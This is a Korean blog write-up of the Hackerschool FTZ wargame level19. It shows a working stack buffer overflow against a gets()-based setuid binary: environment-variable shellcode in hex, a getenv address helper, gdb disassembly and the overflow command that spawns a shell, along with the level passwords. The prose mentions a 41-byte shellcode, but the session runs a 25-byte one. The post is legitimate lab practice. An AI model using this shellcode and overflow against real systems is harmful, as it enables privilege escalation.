해커스쿨 FTZ [LEVEL19] 풀이
M4ndU
해커스쿨 FTZ [LEVEL19] 풀이입니다.
ID | level19
PW | swimming in pink
으로 로그인합니다.
$ ls -l
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,
$ cat hint
를 이용해 힌트를 확인합시다.
login as: level19
level19@192.168.31.128's password:
[level19@ftz level19]$ ls -l
total 28
-rwsr-x--- 1 level20 level19 13615 Mar 8 2003 attackme
-rw-r----- 1 root level19 65 Mar 8 2003 hint
drwxr-xr-x 2 root level19 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level19 4096 Jan 16 2009 tmp
[level19@ftz level19]$ cat hint
main()
{ char buf[20];
gets(buf);
printf("%s\n",buf);
}
어라...엄청 간단해졌습니다. 이번에도 환경변수를 사용하겠습니다.
그런데 setreuid함수가 없으므로 쉘코드를 25바이트가 아닌 setreuid가 포함된 41바이트 쉘코드를 사용하겠습니다.
$export EGG=`python -c 'print "\x90"*20+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
$gcc getenv.c -o getenv
$./getenv
[level19@ftz level19]$ export EGG=`python -c 'print"\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[level19@ftz level19]$ cd tmp
[level19@ftz tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
[level19@ftz tmp]$ gcc getenv.c -o getenv
[level19@ftz tmp]$ ./getenv
ADDR -> 0xbffffc78
gdb를 통해 buf위치 확인
[level19@ftz tmp]$ cd ..
[level19@ftz level19]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048440 <main+0>: push ebp
0x08048441 <main+1>: mov ebp,esp
0x08048443 <main+3>: sub esp,0x28
0x08048446 <main+6>: sub esp,0xc
0x08048449 <main+9>: lea eax,[ebp-40]
0x0804844c <main+12>: push eax
0x0804844d <main+13>: call 0x80482f4 <gets>
0x08048452 <main+18>: add esp,0x10
0x08048455 <main+21>: sub esp,0x8
0x08048458 <main+24>: lea eax,[ebp-40]
0x0804845b <main+27>: push eax
0x0804845c <main+28>: push 0x80484d8
0x08048461 <main+33>: call 0x8048324 <printf>
0x08048466 <main+38>: add esp,0x10
0x08048469 <main+41>: leave
0x0804846a <main+42>: ret
[level19@ftz level19]$ (python -c 'print "A"*44+"\x78\xfc\xff\xbf"'; cat) | ./attackme
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAx??
my-pass
TERM environment variable not set.
Level20 Password is "we are just regular guys".
'System Hacking > FTZ' 카테고리의 다른 글
해커스쿨 FTZ [LEVEL20] 풀이 (2) | 2018.02.10 |
---|---|
해커스쿨 FTZ [LEVEL18] 풀이 (3) | 2018.02.09 |
해커스쿨 FTZ [LEVEL17] 풀이 (2) | 2018.02.09 |
해커스쿨 FTZ [LEVEL16] 풀이 (4) | 2018.02.09 |
해커스쿨 FTZ [LEVEL15] 풀이 (0) | 2018.02.09 |